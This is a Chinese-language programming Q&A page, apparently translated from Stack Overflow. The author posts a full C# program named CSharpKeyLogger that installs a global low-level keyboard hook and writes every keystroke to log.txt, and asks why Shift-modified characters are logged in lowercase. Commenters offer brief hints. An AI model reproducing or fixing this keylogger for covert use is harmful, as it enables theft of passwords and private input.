【发布时间】:2018-12-08 23:31:33
【问题描述】:
我编写了以下 C# 程序来捕获用户的击键。
它工作得很好,除了所有键都记录为小写而不考虑 SHIFT 键(见下文)。
我已阅读所有 Win32 API 的文档。我仍然很想念一些东西。
如何更正此程序以正确记录击键?
如果我输入HelloWorld!!!,log.txt中会输出以下键:
h
e
l
l
o
w
o
r
l
d
1
1
1
即不考虑SHIFT,这就是GetKeyboardState()的目的?
程序:
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Text;
namespace CSharpKeyLogger
{
public static class Program
{
[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const int MAPVK_VK_TO_VSC = 0;
private const int BUFF_SZ = 4;
private const string logFileName = "log.txt";
private static StreamWriter logFile;
private static HookProc hookProc = HookCallback;
private static IntPtr hookId = IntPtr.Zero;
public static void Main()
{
logFile = File.AppendText(logFileName);
logFile.AutoFlush = true;
hookId = SetHook(hookProc);
Application.Run();
UnhookWindowsHookEx(hookId);
}
private static IntPtr SetHook(HookProc hookProc)
{
IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
}
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
uint vkCode = (uint)Marshal.ReadInt32(lParam);
byte[] kb = new byte[256];
GetKeyboardState(kb);
StringBuilder buf = new StringBuilder(BUFF_SZ + 1);
switch(ToUnicode(vkCode, (uint)MapVirtualKey(vkCode, MAPVK_VK_TO_VSC), kb, buf, BUFF_SZ, 0))
{
case -1:
break;
case 0:
break;
case 1:
case 2:
case 3:
case 4:
logFile.WriteLine(buf.ToString());
break;
}
}
return CallNextHookEx(hookId, nCode, wParam, lParam);
}
}
}
【问题讨论】:
-
您将不得不检查修改键(如 shift)并对其执行操作。
-
@codeteq - 你能提供一个小例子来说明如何做到这一点吗? GetKeyboardState() 不应该这样做吗?
-
既然你是用C#编程的,那这和C++有什么关系呢?您应该删除标签并坚持使用一种语言。
-
@ThomasMatthews - 我使用 C++ Win32 API。
-
阅读 GetKeyboardState() 上的文档。 msdn.microsoft.com/en-us/library/windows/desktop/… -- 还有GetKeyState():msdn.microsoft.com/en-us/library/windows/desktop/…
标签: c# winapi interop pinvoke user32